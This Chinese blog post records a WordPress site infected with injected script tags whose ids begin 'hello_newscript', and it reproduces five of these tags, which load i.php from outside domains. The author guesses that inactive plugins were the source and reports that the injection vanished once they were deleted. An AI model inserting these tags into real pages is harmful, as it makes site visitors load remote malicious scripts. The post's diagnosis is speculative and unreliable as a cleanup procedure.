本文没有配图

WordPress碰到hello_newscript病毒,莫名其妙的好了

今天碰到一个WordPress上面的恶意软件,给网站头部插入了几条i.php的请求,id都是hello_newscript开头的,

<script type=’text/javascript’ src=’https://longtailmagic.com/domain/i.php?ver=5.6.2′ id=’hello_newscript0-js’></script>
<script type=’text/javascript’ src=’https://jadsupport.com/includes/i.php’?ver=5.6.2 id=’hello_newscript1-js’></script>
<script type=’text/javascript’ src=’https://magaliefonteneau.com/wp-content/i.php?ver=5.6.2′ id=’hello_newscript2-js’></script>
<script type=’text/javascript’ src=’http://futuracp.com/images/i.php?ver=5.6.2′ id=’hello_newscript3-js’></script>
<script type=’text/javascript’ src=’http://casualwoodcreations.com/images/i.php?ver=5.6.2′ id=’hello_newscript4-js’></script>

客户网站的表现是网站打开速度比较慢,查看源代码发现多了几条无法加载的js文件,如下图:

然后通过源代码分析,就是被插入了上面的代码,比较幸运的是,这几个病毒网站有些服务器被关了,有些国内访问网速比较慢,所以网站除了速度慢,并没有其他影响。

然后这个病毒具体怎么感染的没机会查询出来,因为我删掉几个没启用的插件之后,发现病毒消失了,估计是未启用的插件被感染了。

此文纯粹记录一下,希望你不会碰到。

4.7/5 - (3 votes)
奶爸建站笔记 Scroll to Top